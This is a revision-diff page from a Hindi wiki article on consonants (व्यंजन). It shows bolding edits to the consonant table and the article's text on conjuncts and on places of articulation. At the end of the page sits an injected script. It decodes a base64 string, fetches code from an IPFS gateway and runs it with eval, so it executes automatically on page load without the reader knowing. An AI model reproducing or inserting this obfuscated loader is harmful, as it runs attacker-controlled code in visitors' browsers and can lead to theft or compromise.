"व्यंजन (व्याकरण)" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) |
गोविन्द राम (चर्चा | योगदान) |
||
पंक्ति 5: | पंक्ति 5: | ||
|+हिन्दी के व्यंजन | |+हिन्दी के व्यंजन | ||
|- | |- | ||
− | | क | + | | '''क''' |
− | | ख | + | | '''ख''' |
− | | ग | + | | '''ग''' |
− | | घ | + | | '''घ''' |
− | | ङ | + | | '''ङ''' |
|- | |- | ||
− | | च | + | | '''च''' |
− | | छ | + | | '''छ''' |
− | | ज | + | | '''ज''' |
− | | झ | + | | '''झ''' |
− | | ञ | + | | '''ञ''' |
|- | |- | ||
− | | ट | + | | '''ट''' |
− | | ठ | + | | '''ठ''' |
− | | ड | + | | '''ड''' |
− | | ढ | + | | '''ढ''' |
− | | ण | + | | '''ण''' |
|- | |- | ||
− | | त | + | | '''त''' |
− | | थ | + | | '''थ''' |
− | | द | + | | '''द''' |
− | | ध | + | | '''ध''' |
− | | न | + | | '''न''' |
|- | |- | ||
− | | प | + | | '''प''' |
− | | फ | + | | '''फ''' |
− | | ब | + | | '''ब''' |
− | | भ | + | | '''भ''' |
− | | म | + | | '''म''' |
|- | |- | ||
− | | य | + | | '''य''' |
− | | र | + | | '''र''' |
− | | ल | + | | '''ल''' |
− | | व | + | | '''व''' |
− | | श | + | | '''श''' |
|- | |- | ||
|- | |- | ||
− | | ष | + | | '''ष''' |
− | | स | + | | '''स''' |
− | | ह | + | | '''ह''' |
− | | ड़ | + | | '''ड़''' |
− | | ढ़ | + | | '''ढ़''' |
|- | |- | ||
| | | | ||
− | | क्ष | + | | '''क्ष''' |
− | | त्र | + | | '''त्र''' |
− | | ज्ञ | + | | '''ज्ञ''' |
| | | | ||
|} | |} | ||
पंक्ति 147: | पंक्ति 147: | ||
[[Category:व्याकरण]][[Category:हिन्दी भाषा]] | [[Category:व्याकरण]][[Category:हिन्दी भाषा]] | ||
__INDEX__ | __INDEX__ | ||
+ | __NOTOC__ |
11:16, 25 दिसम्बर 2010 का अवतरण
- स्वरों की सहायता से बोले जाने वाले वर्ण 'व्यंजन' कहलाते हैं।
- परंपरागत रूप से व्यंजनों की संख्या 33 मानी जाती है।
- द्विगुण व्यंजन ड़, ढ़ को जोड़ देने पर इनकी संख्या 35 हो जाती है।
क | ख | ग | घ | ङ |
च | छ | ज | झ | ञ |
ट | ठ | ड | ढ | ण |
त | थ | द | ध | न |
प | फ | ब | भ | म |
य | र | ल | व | श |
ष | स | ह | ड़ | ढ़ |
क्ष | त्र | ज्ञ |
संयुक्त व्यंजन
- दो व्यंजनों के योग से बने हुए व्यंजनों को 'संयुक्त-व्यंजन कहते हैं।
- हिन्दी में निम्नलिखित तीन व्यंजन ऐसे हैं, जो दो-दो व्यंजनों के योग से बने हैं, किन्तु एक व्यंजन के रूप में प्रयुक्त होते हैं।
- क् और ष के योग से बना हुआ- क्ष
- त् और र के योग से बना हुआ- त्र
- ज् और ञ के योग से बना हुआ- ज्ञ
व्यंजन के भेद
व्यंजन के 4 भेद होते हैं।
1.स्पर्श
वर्ग | उच्चारण स्थान | अघोष अल्पप्राण | अघोष महाप्राण | सघोष अल्पप्राण | सघोष महाप्राण | नासिक्य |
---|---|---|---|---|---|---|
कंठ्य | गला | क | ख | ग | घ | ड़ |
मूर्धन्य | तालु का मूर्धा भाग | ट | ठ | ड | ढ | ण |
दंत्य | दाँत | त | थ | द | ध | न |
ओष्ठ्य | दोनों होठ | प | फ | ब | भ | म |
स्पर्श- संघर्षी
वर्ग | उच्चारण स्थान | अघोष अल्पप्राण | अघोष महाप्राण | सघोष अल्पप्राण | सघोष महाप्राण | नासिक्य |
---|---|---|---|---|---|---|
तालव्य | तालु | च | छ | ज | झ | ञ |
3.अंत:स्थ व्यंजन
- य- (सघोष अल्पप्राण, तालव्य, उच्चारण स्थान- तालु)
- र- (सघोष अल्पप्राण, वर्त्स्य, उच्चारण स्थान- दंतमूल)
- ल- (सघोष अल्पप्राण, वर्त्स्य, उच्चारण स्थान- दंतमूल)
- व- (सघोष अल्पप्राण, दंतोष्ठ्य, उच्चारण स्थान- निचले होंठ और ऊपर के दाँत)
4.ऊष्म (संघर्षी) व्यंजन
- श- (अघोष, तालव्य, उच्चारण स्थान- तालु)
- ष- (अघोष, मूर्धन्य, उच्चारण स्थान- तालु का मूर्धा भाग)
- स- (अघोष, वर्त्स्य, उच्चारण स्थान- दंतमूल)
- ह- (सघोष, स्वरयंत्रीय, उच्चारण स्थान- स्वरयंत्र)
|
|
|
|
|
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>